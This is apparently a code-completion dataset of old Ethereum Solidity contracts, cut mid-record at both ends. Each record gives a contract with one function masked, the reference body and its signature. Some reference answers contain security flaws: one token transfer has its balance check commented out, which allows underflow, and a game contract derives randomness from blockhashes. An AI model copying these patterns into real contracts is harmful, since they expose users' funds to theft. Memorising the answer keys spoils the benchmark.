fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract HolidayCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; <FILL_FUNCTION> function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 520000000000000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 5, set this value to X * 100000. (CHANGE THIS) totalSupply = 520000000000000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = "Holiday Coin"; // Set the name for display purposes (CHANGE THIS) decimals = 18; // Amount of decimals for display purposes (CHANGE THIS) symbol = "HLC"; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 10000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH
function HolidayCoin()
// Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function HolidayCoin()
62165
Ownable
null
contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public {<FILL_FUNCTION_BODY> } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } }
contract Ownable { address public owner; <FILL_FUNCTION> /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } }
owner = msg.sender;
constructor() public
/** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public
71566
YHYL
transfer
contract YHYL { mapping(address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowed; using SafeMath for uint256; address public owner; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 private constant MAX_UINT256 = 2**256 -1 ; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); bool lock = false; constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { owner = msg.sender; balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function transfer( address _to, uint256 _value ) public returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value); require(_from == _to || balances[_to] <= MAX_UINT256 -_value); require(allowance >= _value); balances[_from] -= _value; balances[_to] += _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf( address _owner ) public view returns (uint256) { return balances[_owner]; } function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } }
contract YHYL { mapping(address => uint256) public balances; mapping(address => mapping (address => uint256)) public allowed; using SafeMath for uint256; address public owner; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; uint256 private constant MAX_UINT256 = 2**256 -1 ; event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); bool lock = false; constructor( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) public { owner = msg.sender; balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } modifier onlyOwner { require(msg.sender == owner); _; } modifier isLock { require(!lock); _; } function setLock(bool _lock) onlyOwner public{ lock = _lock; } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } <FILL_FUNCTION> function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value); require(_from == _to || balances[_to] <= MAX_UINT256 -_value); require(allowance >= _value); balances[_from] -= _value; balances[_to] += _value; if (allowance < MAX_UINT256) { allowed[_from][msg.sender] -= _value; } emit Transfer(_from, _to, _value); return true; } function balanceOf( address _owner ) public view returns (uint256) { return balances[_owner]; } function approve( address _spender, uint256 _value ) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } }
require(balances[msg.sender] >= _value); require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true;
function transfer( address _to, uint256 _value ) public returns (bool)
function transfer( address _to, uint256 _value ) public returns (bool)
50695
Pausable
_unpause
contract Pausable { event Pause(address account); event Unpause(address account); bool public paused = false; /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Contract is paused"); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "Contract is not paused"); _; } /** * @notice Called by the owner to pause, triggers stopped state */ function _pause() internal whenNotPaused { paused = true; /*solium-disable-next-line security/no-block-members*/ emit Pause(msg.sender); } /** * @notice Called by the owner to unpause, returns to normal state */ function _unpause() internal whenPaused {<FILL_FUNCTION_BODY> } }
contract Pausable { event Pause(address account); event Unpause(address account); bool public paused = false; /** * @notice Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused, "Contract is paused"); _; } /** * @notice Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused, "Contract is not paused"); _; } /** * @notice Called by the owner to pause, triggers stopped state */ function _pause() internal whenNotPaused { paused = true; /*solium-disable-next-line security/no-block-members*/ emit Pause(msg.sender); } <FILL_FUNCTION> }
paused = false; /*solium-disable-next-line security/no-block-members*/ emit Unpause(msg.sender);
function _unpause() internal whenPaused
/** * @notice Called by the owner to unpause, returns to normal state */ function _unpause() internal whenPaused
63230
FloodDragon
_transfer
contract FloodDragon is Ownable{ //===================public variables definition start================== string public name; //Name of your Token string public symbol; //Symbol of your Token uint8 public decimals = 18; //Decimals of your Token uint256 public totalSupply; //Maximum amount of Token supplies //define dictionaries of balance mapping (address => uint256) public balanceOf; //Announce the dictionary of account's balance mapping (address => mapping (address => uint256)) public allowance; //Announce the dictionary of account's available balance //===================public variables definition end================== //===================events definition start================== event Transfer(address indexed from, address indexed to, uint256 value); //Event on blockchain which notify client //===================events definition end================== //===================Contract Initialization Sequence Definition start=================== function FloodDragon ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } //===================Contract Initialization Sequence definition end=================== //===================Contract behavior & funtions definition start=================== /* * Funtion: Transfer funtions * Type:Internal * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } /* * Funtion: Transfer tokens * Type:Public * Parameters: @_to: address of recipient's account @_value:transaction amount */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Funtion: Transfer tokens from other address * Type:Public * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); //Allowance verification allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Funtion: Approve usable amount for an account * Type:Public * Parameters: @_spender: address of spender's account @_value: approve amount */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Funtion: Approve usable amount for other address and then notify the contract * Type:Public * Parameters: @_spender: address of other account @_value: approve amount @_extraData:additional information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Funtion: Transfer owner's authority and account balance * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnershipWithBalance(address newOwner) onlyOwner public{ if (newOwner != address(0)) { _transfer(owner,newOwner,balanceOf[owner]); owner = newOwner; } } //===================Contract behavior & funtions definition end=================== }
contract FloodDragon is Ownable{ //===================public variables definition start================== string public name; //Name of your Token string public symbol; //Symbol of your Token uint8 public decimals = 18; //Decimals of your Token uint256 public totalSupply; //Maximum amount of Token supplies //define dictionaries of balance mapping (address => uint256) public balanceOf; //Announce the dictionary of account's balance mapping (address => mapping (address => uint256)) public allowance; //Announce the dictionary of account's available balance //===================public variables definition end================== //===================events definition start================== event Transfer(address indexed from, address indexed to, uint256 value); //Event on blockchain which notify client //===================events definition end================== //===================Contract Initialization Sequence Definition start=================== function FloodDragon ( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } <FILL_FUNCTION> /* * Funtion: Transfer tokens * Type:Public * Parameters: @_to: address of recipient's account @_value:transaction amount */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /* * Funtion: Transfer tokens from other address * Type:Public * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); //Allowance verification allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /* * Funtion: Approve usable amount for an account * Type:Public * Parameters: @_spender: address of spender's account @_value: approve amount */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /* * Funtion: Approve usable amount for other address and then notify the contract * Type:Public * Parameters: @_spender: address of other account @_value: approve amount @_extraData:additional information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /* * Funtion: Transfer owner's authority and account balance * Type:Public and onlyOwner * Parameters: @newOwner: address of newOwner */ function transferOwnershipWithBalance(address newOwner) onlyOwner public{ if (newOwner != address(0)) { _transfer(owner,newOwner,balanceOf[owner]); owner = newOwner; } } //===================Contract behavior & funtions definition end=================== }
//Fault-tolerant processing require(_to != 0x0); // require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); //Execute transaction uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); //Verify transaction assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
function _transfer(address _from, address _to, uint _value) internal
//===================Contract Initialization Sequence definition end=================== //===================Contract behavior & funtions definition start=================== /* * Funtion: Transfer funtions * Type:Internal * Parameters: @_from: address of sender's account @_to: address of recipient's account @_value:transaction amount */ function _transfer(address _from, address _to, uint _value) internal
48784
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
15858
BasicAccessControl
AddModerator
contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = true; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } function AddModerator(address _newModerator) onlyOwner public {<FILL_FUNCTION_BODY> } function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } }
contract BasicAccessControl { address public owner; // address[] public moderators; uint16 public totalModerators = 0; mapping (address => bool) public moderators; bool public isMaintaining = true; function BasicAccessControl() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyModerators() { require(msg.sender == owner || moderators[msg.sender] == true); _; } modifier isActive { require(!isMaintaining); _; } function ChangeOwner(address _newOwner) onlyOwner public { if (_newOwner != address(0)) { owner = _newOwner; } } <FILL_FUNCTION> function RemoveModerator(address _oldModerator) onlyOwner public { if (moderators[_oldModerator] == true) { moderators[_oldModerator] = false; totalModerators -= 1; } } function UpdateMaintaining(bool _isMaintaining) onlyOwner public { isMaintaining = _isMaintaining; } }
if (moderators[_newModerator] == false) { moderators[_newModerator] = true; totalModerators += 1; }
function AddModerator(address _newModerator) onlyOwner public
function AddModerator(address _newModerator) onlyOwner public
41403
EthereumTravelToken
EthereumTravelToken
contract EthereumTravelToken is BurnableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; address public AdvisorsAddress; address public TeamAddress; address public ReserveAddress; TokenVest vestObject; uint public TeamVestTimeLimit; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } /** * @dev Constructor function to initialize the initial supply of token to the creator of the contract */ function EthereumTravelToken( address wallet, uint supply, string nam, string symb ) public {<FILL_FUNCTION_BODY> } /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } /** *@dev internal method to add a vest in token memory */ function vestTokens(address ad, uint tkns, uint timelimit) internal { vestObject = TokenVest({ vestAddress:ad, vestTokensLimit:tkns, vestTill:timelimit }); listofVest.push(vestObject); } }
contract EthereumTravelToken is BurnableToken { string public name ; string public symbol ; uint8 public decimals = 18 ; address public AdvisorsAddress; address public TeamAddress; address public ReserveAddress; TokenVest vestObject; uint public TeamVestTimeLimit; /** *@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller */ function ()public payable { revert(); } <FILL_FUNCTION> /** *@dev helper method to get token details, name, symbol and totalSupply in one go */ function getTokenDetail() public view returns (string, string, uint256) { return (name, symbol, totalSupply); } /** *@dev internal method to add a vest in token memory */ function vestTokens(address ad, uint tkns, uint timelimit) internal { vestObject = TokenVest({ vestAddress:ad, vestTokensLimit:tkns, vestTill:timelimit }); listofVest.push(vestObject); } }
owner = wallet; totalSupply = supply; totalSupply = totalSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount name = nam; symbol = symb; balances[wallet] = totalSupply; TeamAddress=0xACE8841DF22F7b5d112db5f5AE913c7adA3457aF; AdvisorsAddress=0x49695C3cB19aA4A32F6f465b54CE62e337A07c7b; ReserveAddress=0xec599e12B45BB77B65291C30911d9B2c3991aB3D; TeamVestTimeLimit = now + 365 days; //Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator emit Transfer(address(0), msg.sender, totalSupply); // transferring 18% of the tokens to team Address transfer(TeamAddress, (totalSupply.mul(18)).div(100)); // transferring 1% of the tokens to advisors Address transfer(AdvisorsAddress, (totalSupply.mul(1)).div(100)); // transferring 21% of the tokens to company Address transfer(ReserveAddress, (totalSupply.mul(21)).div(100)); // vesting team address vestTokens(TeamAddress,(totalSupply.mul(18)).div(100),TeamVestTimeLimit);
function EthereumTravelToken( address wallet, uint supply, string nam, string symb ) public
/** * @dev Constructor function to initialize the initial supply of token to the creator of the contract */ function EthereumTravelToken( address wallet, uint supply, string nam, string symb ) public
13492
KittyPillar
endRound
contract KittyPillar { using SafeMath for uint256; address public owner; //owner of this contract address public kittyCoreAddress; //address of kittyCore KittyCoreInterface private kittyCore; //kittycore reference //********************************************************************************** // Events //********************************************************************************** event PlayerJoined ( address playerAddr, uint256 pId, uint256 timeStamp ); event KittyJoined ( address ownerAddr, uint256 kittyId, uint8 pillarIdx, uint256 contribution, uint256 currentRound, uint256 timeStamp ); event RoundEnded ( uint256 currentRId, uint256 pillarWon, uint256 timeStamp ); event Withdrawal ( address playerAddr, uint256 pId, uint256 amount, uint256 timeStamp ); //********************************************************************************** // Modifiers //********************************************************************************** modifier onlyOwner() { require(msg.sender == owner); _; } //********************************************************************************** // Configs //********************************************************************************** uint256 public contributionTarget_ = 100; //round target contributions bool public paused_ = false; uint256 public joinFee_ = 10000000000000000; //0.01 ether uint256 public totalDeveloperCut_ = 0; uint256 public minPower_ = 3; //minimum power of kitty uint256 public maxPower_ = 20; //maximum power of kitty //********************************************************************************** // Data //********************************************************************************** //*************************** // Round //*************************** uint256 public currentRId_; mapping (uint256 => KittyPillarDataSets.Round) public round_; // (rId => data) round data //*************************** // Player //*************************** uint256 private currentPId_; mapping (address => uint256) public pIdByAddress_; // (address => pId) returns player id by address mapping (uint8 => mapping (uint256 => KittyPillarDataSets.Pillar)) public pillarRounds_; // (pillarIdx => roundId -> Pillar) returns pillar's round information mapping (uint256 => KittyPillarDataSets.Player) public players_; // (pId => player) returns player information mapping (uint256 => mapping (uint256 => uint256[])) public playerRounds_; // (pId => roundId => uint256[]) returns player's round information mapping (uint256 => mapping (uint256 => KittyPillarDataSets.KittyRound)) public kittyRounds_; // (kittyId => roundId => KittyRound) returns kitty's round information //********************************************************************************** // Functions //********************************************************************************** constructor(address _kittyCoreAddress) public { owner = msg.sender; //init owner kittyCoreAddress = _kittyCoreAddress; kittyCore = KittyCoreInterface(kittyCoreAddress); //start round currentRId_ = 1; round_[currentRId_].pot = 0; round_[currentRId_].targetContributions = contributionTarget_; round_[currentRId_].timeStarted = now; round_[currentRId_].ended = false; } function getPillarRoundsKitties(uint8 _pillarIdx, uint256 _rId) external view returns (uint256[]) { return pillarRounds_[_pillarIdx][_rId].kittyIds; } function getPlayerRoundsKitties(uint256 _pId, uint256 _rId) external view returns (uint256[]) { return playerRounds_[_pId][_rId]; } function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external { require(!paused_, "game is paused"); require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here"); require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty"); uint256 _pId = pIdByAddress_[msg.sender]; require(_pId!=0, "not an existing player"); //needs to be an existing player require(players_[_pId].totalEth >= joinFee_, "insufficient tokens in pouch for join fee"); require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round"); require(_rId == currentRId_, "round has ended, wait for next round"); players_[_pId].totalEth = players_[_pId].totalEth.sub(joinFee_); //deduct joinFee from winnings joinPillarCore(_pId, _kittyId, _pillarIdx); } function joinPillar(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external payable { require(!paused_, "game is paused"); require(msg.value == joinFee_, "incorrect join fee"); require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here"); require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty"); require(kittyRounds_[_kittyId][currentRId_].contribution==0, "kitty has already joined a pillar this round"); require(_rId == currentRId_, "round has ended, wait for next round"); uint256 _pId = pIdByAddress_[msg.sender]; //add player if he/she doesn't exists in game if (_pId == 0) { currentPId_ = currentPId_.add(1); pIdByAddress_[msg.sender] = currentPId_; players_[currentPId_].ownerAddr = msg.sender; _pId = currentPId_; emit PlayerJoined ( msg.sender, _pId, now ); } joinPillarCore(_pId, _kittyId, _pillarIdx); } function joinPillarCore(uint256 _pId, uint256 _kittyId, uint8 _pillarIdx) private { //record kitty under player for this round playerRounds_[_pId][currentRId_].push(_kittyId); //calculate kitty's power uint256 minPower = minPower_; if (pillarRounds_[_pillarIdx][currentRId_].totalContributions<(round_[currentRId_].targetContributions/2)) { //pillar under half, check other pillars uint8 i; for (i=0; i<3; i++) { if (i!=_pillarIdx) { if (pillarRounds_[i][currentRId_].totalContributions >= (round_[currentRId_].targetContributions/2)) { minPower = maxPower_/2; //minimum power increases, so to help the low pillar grow faster break; } } } } uint256 genes; ( , , , , , , , , , genes) = kittyCore.getKitty(_kittyId); uint256 _contribution = ((getKittyPower(genes) % maxPower_) + minPower); //from min to max power // add to kitty round uint256 joinedTime = now; kittyRounds_[_kittyId][currentRId_].pillar = _pillarIdx; kittyRounds_[_kittyId][currentRId_].contribution = _contribution; kittyRounds_[_kittyId][currentRId_].kittyOwnerPId = _pId; kittyRounds_[_kittyId][currentRId_].timeStamp = joinedTime; // update current round's info pillarRounds_[_pillarIdx][currentRId_].totalContributions = pillarRounds_[_pillarIdx][currentRId_].totalContributions.add(_contribution); pillarRounds_[_pillarIdx][currentRId_].kittyIds.push(_kittyId); //update current round pot totalDeveloperCut_ = totalDeveloperCut_.add((joinFee_/100).mul(4)); //4% developer fee round_[currentRId_].pot = round_[currentRId_].pot.add((joinFee_/100).mul(96)); //update pot minus fee emit KittyJoined ( msg.sender, _kittyId, _pillarIdx, _contribution, currentRId_, joinedTime ); //if meet target contribution, end round if (pillarRounds_[_pillarIdx][currentRId_].totalContributions >= round_[currentRId_].targetContributions) { endRound(_pillarIdx); } } function getKittyPower(uint256 kittyGene) private view returns(uint256) { return (uint(keccak256(abi.encodePacked(kittyGene, blockhash(block.number - 1), blockhash(block.number - 2), blockhash(block.number - 4), blockhash(block.number - 7)) ))); } function endRound(uint8 _wonPillarIdx) private {<FILL_FUNCTION_BODY> } function withdrawWinnings() external { uint256 _pId = pIdByAddress_[msg.sender]; //player doesn't exists in game require(_pId != 0, "player doesn't exist in game, don't disturb"); require(players_[_pId].totalEth > 0, "there is nothing to withdraw"); uint256 withdrawalSum = players_[_pId].totalEth; players_[_pId].totalEth = 0; //all is gone from contract to user wallet msg.sender.transfer(withdrawalSum); //byebye ether emit Withdrawal ( msg.sender, _pId, withdrawalSum, now ); } //********************************************************************************** // Admin Functions //********************************************************************************** function setJoinFee(uint256 _joinFee) external onlyOwner { joinFee_ = _joinFee; } function setPlayConfigs(uint256 _contributionTarget, uint256 _maxPower, uint256 _minPower) external onlyOwner { require(_minPower.mul(2) <= _maxPower, "min power cannot be more than half of max power"); contributionTarget_ = _contributionTarget; maxPower_ = _maxPower; minPower_ = _minPower; } function setKittyCoreAddress(address _kittyCoreAddress) external onlyOwner { kittyCoreAddress = _kittyCoreAddress; kittyCore = KittyCoreInterface(kittyCoreAddress); } /** * @dev Current owner can transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) external onlyOwner { require(newOwner != address(0)); owner = newOwner; } function setPaused(bool _paused) external onlyOwner { paused_ = _paused; } function withdrawDeveloperCut() external onlyOwner { address thisAddress = this; uint256 balance = thisAddress.balance; uint256 withdrawalSum = totalDeveloperCut_; if (balance >= withdrawalSum) { totalDeveloperCut_ = 0; owner.transfer(withdrawalSum); } } }
contract KittyPillar { using SafeMath for uint256; address public owner; //owner of this contract address public kittyCoreAddress; //address of kittyCore KittyCoreInterface private kittyCore; //kittycore reference //********************************************************************************** // Events //********************************************************************************** event PlayerJoined ( address playerAddr, uint256 pId, uint256 timeStamp ); event KittyJoined ( address ownerAddr, uint256 kittyId, uint8 pillarIdx, uint256 contribution, uint256 currentRound, uint256 timeStamp ); event RoundEnded ( uint256 currentRId, uint256 pillarWon, uint256 timeStamp ); event Withdrawal ( address playerAddr, uint256 pId, uint256 amount, uint256 timeStamp ); //********************************************************************************** // Modifiers //********************************************************************************** modifier onlyOwner() { require(msg.sender == owner); _; } //********************************************************************************** // Configs //********************************************************************************** uint256 public contributionTarget_ = 100; //round target contributions bool public paused_ = false; uint256 public joinFee_ = 10000000000000000; //0.01 ether uint256 public totalDeveloperCut_ = 0; uint256 public minPower_ = 3; //minimum power of kitty uint256 public maxPower_ = 20; //maximum power of kitty //********************************************************************************** // Data //********************************************************************************** //*************************** // Round //*************************** uint256 public currentRId_; mapping (uint256 => KittyPillarDataSets.Round) public round_; // (rId => data) round data //*************************** // Player //*************************** uint256 private currentPId_; mapping (address => uint256) public pIdByAddress_; // (address => pId) returns player id by address mapping (uint8 => mapping (uint256 => KittyPillarDataSets.Pillar)) public pillarRounds_; // (pillarIdx => roundId -> Pillar) returns pillar's round information mapping (uint256 => KittyPillarDataSets.Player) public players_; // (pId => player) returns player information mapping (uint256 => mapping (uint256 => uint256[])) public playerRounds_; // (pId => roundId => uint256[]) returns player's round information mapping (uint256 => mapping (uint256 => KittyPillarDataSets.KittyRound)) public kittyRounds_; // (kittyId => roundId => KittyRound) returns kitty's round information //********************************************************************************** // Functions //********************************************************************************** constructor(address _kittyCoreAddress) public { owner = msg.sender; //init owner kittyCoreAddress = _kittyCoreAddress; kittyCore = KittyCoreInterface(kittyCoreAddress); //start round currentRId_ = 1; round_[currentRId_].pot = 0; round_[currentRId_].targetContributions = contributionTarget_; round_[currentRId_].timeStarted = now; round_[currentRId_].ended = false; } function getPillarRoundsKitties(uint8 _pillarIdx, uint256 _rId) external view returns (uint256[]) { return pillarRounds_[_pillarIdx][_rId].kittyIds; } function getPlayerRoundsKitties(uint256 _pId, uint256 _rId) external view returns (uint256[]) { return playerRounds_[_pId][_rId]; } function joinPillarWithEarnings(uint256 _kittyId, uint8 _pillarIdx, uint256 _rId) external { require(!paused_, "game is paused"); require((_pillarIdx>=0)&&(_pillarIdx<=2), "there is no such pillar here"); require(msg.sender == kittyCore.ownerOf(_kittyId), "sender not owner of kitty"); uint256 